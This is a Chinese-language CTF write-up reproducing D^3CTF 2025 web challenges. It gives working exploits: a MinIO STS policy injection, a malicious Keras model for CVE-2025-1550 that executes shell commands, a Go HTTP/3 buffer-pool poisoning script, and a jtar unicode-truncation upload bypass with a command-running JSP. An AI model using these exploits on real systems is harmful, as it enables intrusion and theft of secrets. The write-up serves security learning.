D^3 CTF2025 Web复现

D3CTF-2025-Official-Writeup/D3CTF-2025-Official-Writeup-CN.pdf at main · D-3CTF/D3CTF-2025-Official-Writeup

太几把难了,看了wp发现全都是自己没见过的,正好借着机会学习学习

d3invitation

抓包拦截上传图片过程,发现这边的session_token是一个JWT

然后去解码这个JWT,发现存在base64的内容

base64解码,再对 sessionPolicy 解码后,我们会发现这是生成 STS 临时凭证时使用的 policy 并且仔细观察可以发现这个 policy 应该是依据上传图片的文件名 object_name 动态生成的

然后我们这边可以对policy进行注入,获取到所有权限:

1
"*\"]},{"\Effect\":\"AlloW\",\"Action\":[\"s3:*\"],\"Resource\":[\"arn:aws:s3:::*\"}

这边对访问MinIO做一个介绍(也是对我自己)

在 MinIO Web 控制台中创建一个策略,定义允许的操作(如 s3:GetObjects3:PutObject)和资源范围。例如,创建一个只允许访问特定桶的策略:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:PutObject"
],
"Resource": [
"arn:aws:s3:::your-bucket-name/*"
]
}
]
}

创建用户并绑定策略:在 MinIO Web 控制台中创建一个用户,并将其与上述策略绑定,同时记录下用户的 Access KeySecret Key

将获取到的临时凭证(包括 AccessKeyIdSecretAccessKeySessionToken)用于后续访问 MinIO 的操作

这里如果我们将所有的s3都改成s3:*,会获得对指定资源的完全控制权限

比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:*",
"s3:*"
],
"Resource": [
"arn:aws:s3:::*"
]
}
]
}

然后带上自己的那几个key,用mc进行访问即可

1
export MC_HOST_d3invitation="http://AccessKetId:SecretAccessKey:SesseionToken@ip"

这种方式通过环境变量直接传递访问信息,使得 mc 能够识别并连接到对应的 MinIO 服务。使用这种方法可以在不修改 mc 配置文件的情况下动态地添加和管理多个 MinIO 服务的访问设置。环境变量仅在当前终端会话中有效,会话结束时失效

1
mc ls d3invitation

d3model

CVE-2025-1550 内部:通过 Keras 模型远程执行代码

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import zipfile
import json
from keras.models import Sequential
from keras.layers import Dense
import numpy as np

model_name="model.keras"

x_train = np.random.rand(100, 28*28)
y_train = np.random.rand(100)

model = Sequential([Dense(1, activation='linear', input_dim=28*28)])

model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)

with zipfile.ZipFile(model_name,"r") as f:
config=json.loads(f.read("config.json").decode())

config["config"]["layers"][0]["module"]="keras.models"
config["config"]["layers"][0]["class_name"]="Model"
config["config"]["layers"][0]["config"]={
"name":"mvlttt",
"layers":[
{
"name":"mvlttt",
"class_name":"function",
"config":"Popen",
"module": "subprocess",
"inbound_nodes":[{"args":[["echo $FLAG > /app/index.html"]],"kwargs":{"bufsize":-1}}]
}],
"input_layers":[["mvlttt", 0, 0]],
"output_layers":[["mvlttt", 0, 0]]
}

with zipfile.ZipFile(model_name, 'r') as zip_read:
with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
for item in zip_read.infolist():
if item.filename != "config.json":
zip_write.writestr(item, zip_read.read(item.filename))

os.remove(model_name)
os.rename(f"tmp.{model_name}",model_name)


with zipfile.ZipFile(model_name,"a") as zf:
zf.writestr("config.json",json.dumps(config))

print("[+] Malicious model ready")

然后上传,虽然显示invaild,但是重新刷新页面即可

tidy quic

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
package main

import (
"bytes"
"errors"
"github.com/libp2p/go-buffer-pool"
"github.com/quic-go/quic-go/http3"
"io"
"log"
"net/http"
"os"
)

var p pool.BufferPool
var ErrWAF = errors.New("WAF")

func main() {
go func() {
err := http.ListenAndServeTLS(":8080", "./server.crt", "./server.key", &mux{})
log.Fatalln(err)
}()
go func() {
err := http3.ListenAndServeQUIC(":8080", "./server.crt", "./server.key", &mux{})
log.Fatalln(err)
}()
select {}
}

type mux struct{} // 定义一个自定义的HTTP处理器类型

func (*mux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodGet { // 处理GET请求
_, _ = w.Write([]byte("Hello D^3CTF 2025,I'm tidy quic in web.")) // 向客户端发送固定消息
return
}
if r.Method != http.MethodPost { // 如果不是POST请求,返回400状态码
w.WriteHeader(400)
return
}

var buf []byte // 用于存储请求体
length := int(r.ContentLength) // 获取请求体长度
if length == -1 { // 如果长度未知,使用ReadAll读取整个请求体
var err error
buf, err = io.ReadAll(textInterrupterWrap(r.Body)) // 读取请求体并检测攻击
if err != nil {
if errors.Is(err, ErrWAF) { // 如果是WAF检测到的攻击,返回400状态码和WAF响应
w.WriteHeader(400)
_, _ = w.Write([]byte("WAF"))
} else { // 如果是其他错误,返回500状态码和error响应
w.WriteHeader(500)
_, _ = w.Write([]byte("error"))
}
return
}
} else { // 如果长度已知,使用缓冲池读取请求体
buf = p.Get(length) // 从缓冲池获取缓冲区
defer p.Put(buf) // 使用完后将缓冲区放回缓冲池
rd := textInterrupterWrap(r.Body) // 包装请求体以检测攻击
i := 0
for {
n, err := rd.Read(buf[i:]) // 读取请求体到缓冲区
if err != nil {
if errors.Is(err, io.EOF) { // 如果读取完成,退出循环
break
} else if errors.Is(err, ErrWAF) { // 如果是WAF检测到的攻击,返回400状态码和WAF响应
w.WriteHeader(400)
_, _ = w.Write([]byte("WAF"))
return
} else { // 如果是其他错误,返回500状态码和error响应
w.WriteHeader(500)
_, _ = w.Write([]byte("error"))
return
}
}
i += n // 更新读取的位置
}
}
if !bytes.HasPrefix(buf, []byte("I want")) { // 检查请求体是否以"I want"开头
_, _ = w.Write([]byte("Sorry I'm not clear what you want.")) // 如果不是,返回提示消息
return
}
item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want"))) // 提取"I want"后面的内容
if bytes.Equal(item, []byte("flag")) { // 如果提取的内容是"flag",返回FLAG环境变量的值
_, _ = w.Write([]byte(os.Getenv("FLAG")))
} else { // 如果提取的内容不是"flag",返回提取的内容
_, _ = w.Write(item)
}
}

type wrap struct {
io.ReadCloser
ban []byte
idx int
}

func (w *wrap) Read(p []byte) (int, error) {
n, err := w.ReadCloser.Read(p)
if err != nil && !errors.Is(err, io.EOF) {
return n, err
}
for i := 0; i < n; i++ {
if p[i] == w.ban[w.idx] {
w.idx++
if w.idx == len(w.ban) {
return n, ErrWAF
}
} else {
w.idx = 0
}
}
return n, err
}

func textInterrupterWrap(rc io.ReadCloser) io.ReadCloser {
return &wrap{
rc, []byte("flag"), 0,
}
}

污染缓冲区池

  • 发送多个POST请求,内容为AAAAAAflag(10字节)
  • 设置Content-Length: 10
  • WAF检测到”flag”会拒绝请求(返回400)
  • 缓冲区AAAAAAflag被放回全局池中

触发flag获取

  • 发送POST请求,内容为I want(6字节)
  • 设置Content-Length: 10(关键!)
  • 服务端复用包含flag的缓冲区
  • 最终请求体被解析为I wantflag
  • 服务端返回环境变量中的FLAG

在此之前你需要

1
2
go get github.com/quic-go/quic-go
go get github.com/quic-go/quic-go/http3

POC:(来自星盟安全团队)(发现直接给DeepSeek也是能给出完整的POC的)

但是版本不一样的话原版POC那边会爆 Transport: &http3.RoundTripper 中的 RoundTripper 已经被弃用,改成 Transport: &http3.Transport 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package main

import (
"bytes"
"crypto/tls"
"fmt"
"io"
"log"
"net/http"
"sync"
"time"

quic "github.com/quic-go/quic-go" // 明确导入quic包
"github.com/quic-go/quic-go/http3"
)

const (
targetURL = "https://35.241.98.126:30859"
polluteData = "111111flag" // 污染数据
realPayload = "I want" // 有效载荷
)

func main() {
// 创建优化的HTTP/3客户端
client := &http.Client{
Transport: &http3.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
NextProtos: []string{"h3"}, // 必须指定ALPN
},
QUICConfig: &quic.Config{ // 修正字段名为大写QUICConfig
MaxIncomingStreams: 1000, // 提高并发能力
},
},
Timeout: 15 * time.Second,
}
defer client.CloseIdleConnections()

var wg sync.WaitGroup

// 阶段1:增强型缓冲池污染
fmt.Println("[*] 启动HTTP/3缓冲池污染攻击...")
start := time.Now()
for i := 0; i < 200; i++ { // 高频并发污染
wg.Add(1)
go func() {
defer wg.Done()
req, _ := http.NewRequest("POST", targetURL, bytes.NewBufferString(polluteData))
client.Do(req)
}()
}
wg.Wait()

// 阶段2:精确内存布局触发
fmt.Printf("[*] 污染完成 (耗时: %v)\n[*] 触发组合攻击...\n", time.Since(start))
time.Sleep(800 * time.Millisecond) // 关键时间窗口

// 使用Content-Length技巧
body := io.NopCloser(bytes.NewReader([]byte(realPayload)))
req, _ := http.NewRequest("POST", targetURL, body)
req.ContentLength = 10 // 故意设置大于实际长度

resp, err := client.Do(req)
if err != nil {
log.Fatalf("请求失败: %v", err)
}
defer resp.Body.Close()

// 结果分析
response, _ := io.ReadAll(resp.Body)
if bytes.Contains(response, []byte("FLAG")) {
fmt.Printf("[+] 攻击成功! 状态码: %d\nFLAG: %s\n",
resp.StatusCode, extractFlag(response))
} else {
fmt.Printf("[-] 攻击失败 状态码: %d\n响应: %s\n",
resp.StatusCode, truncate(string(response)))
}
}

func extractFlag(data []byte) string {
flagStart := bytes.Index(data, []byte("FLAG{"))
if flagStart == -1 {
return ""
}
return string(data[flagStart : bytes.IndexByte(data[flagStart:], '}')+1])
}

func truncate(s string) string {
if len(s) > 100 {
return s[:100] + "..."
}
return s
}

然后运行即可

d3ctf{YoU_s@lD-RIGht-6uT_y0U_shouId-pl@Y-g3n5H1N-iMpaCt1}

d3jtar

D3CTF2025-d3jtar/d3jtar-WP-CH.md at main · 5i1encee/D3CTF2025-d3jtar

原理:

jtar/src/main/java/org/kamranzafar/jtar/TarOutputStream.java at master · kamranzafar/jtar

定位到putNextEntry

然后发现writeEntryHeader,跟进

下面有一个getNameBytes,继续跟进

发现这边强制将char转换为byte并存放

java中char的大小在\u0000-\uffff之间,而byte的大小在(-127)-128之间,所以当char的值在257时,被强制转换成byte,则会变成1,即ascii码为1对应的字符

所以只需要找到超出byte大小限制的一个unicode码就行了

一编

看不懂说是,复现不是很出来,等等后面看看其他人的wp

源码:(页面源码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
 // Source code is unavailable, and was generated by the Fernflower decompiler.
package d3.example.controller;

import d3.example.utils.BackUp;
import d3.example.utils.Upload;
import d3.example.utils.Upload.UploadException;
import java.io.File;
import java.io.IOException;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Objects;
import java.util.Set;
import javax.servlet.http.HttpServletRequest;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.ModelAndView;

@Controller
public class MainController {
@GetMapping({"/view"})
public ModelAndView view(@RequestParam String page, HttpServletRequest request) {
if (page.matches("^[a-zA-Z0-9-]+$")) {
String viewPath = "/WEB-INF/views/" + page + ".jsp";
String realPath = request.getServletContext().getRealPath(viewPath);
File jspFile = new File(realPath);
if (realPath != null && jspFile.exists()) {
return new ModelAndView(page);
}
}

ModelAndView mav = new ModelAndView("Error");
mav.addObject("message", "The file don't exist.");
return mav;
}

@PostMapping({"/Upload"})
@ResponseBody
public String UploadController(@RequestParam MultipartFile file) {
try {
String uploadDir = "webapps/ROOT/WEB-INF/views";
Set<String> blackList = new HashSet(Arrays.asList("jsp", "jspx", "jspf", "jspa", "jsw", "jsv", "jtml", "jhtml", "sh", "xml", "war", "jar"));
String filePath = Upload.secureUpload(file, uploadDir, blackList);
return "Upload Success: " + filePath;
} catch (UploadException var5) {
return "The file is forbidden: " + var5;
}
}

@PostMapping({"/BackUp"})
@ResponseBody
public String BackUpController(@RequestParam String op) {
if (Objects.equals(op, "tar")) {
try {
BackUp.tarDirectory(Paths.get("backup.tar"), Paths.get("webapps/ROOT/WEB-INF/views"));
return "Success !";
} catch (IOException var3) {
return "Failure : tar Error";
}
} else if (Objects.equals(op, "untar")) {
try {
BackUp.untar(Paths.get("webapps/ROOT/WEB-INF/views"), Paths.get("backup.tar"));
return "Success !";
} catch (IOException var4) {
return "Failure : untar Error";
}
} else {
return "Failure : option Error";
}
}
}

unicode的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import unicodedata

def reverse_search(byte_value):
low_byte = byte_value & 0xFF
candidates = []
for high in range(0x00, 0xFF + 1):
code_point = (high << 8) | low_byte
try:
char = chr(code_point)
name = unicodedata.name(char)
candidates.append((f"U+{code_point:04X}", char, name))
except ValueError:
continue
return candidates
ascii_character = "j" # "s" ,"p"
byte_val = ord(ascii_character)
print(f"Possible original characters ({byte_val} -> 0x{byte_val & 0xFF:02X}) :")
results = reverse_search(byte_val)
for cp, char, name in results:
print(f"{cp}: {char} - {name}".encode('gbk', errors='ignore').decode('gbk'))

然后是jsp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<%@ page import="java.io.*" %>
<%
String cmd = "printenv";
String output = "";

try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output += line + "<br>";
}
} catch (Exception e) {
output = "Error executing command: " + e.getMessage();
}
%>

<html>
<head><title>Command Output</title></head>
<body>
<h2>Executed Command: <code><%= cmd %></code></h2>
<pre><%= output %></pre>
</body>
</html>

二编

D3CTF 2025-WP | GSBP’s Blog

看了看这位师傅的文章,发现原来是直接view?page访问,我昨天在复现的时候加了一大堆前缀,有点尴尬

就按一编那边给的jsp然后改成后缀 剪sp 再上传

然后依次点击Backup和Restore

最后

1
http://35.241.98.126:32672/view?page=2235e2be-ffc9-49e0-b578-1e512299e15b&cmd=env

d3ctf{WhaT-?!_H0w-CouLD_yoU_do_Th4t_,_jtaR_?d20b7}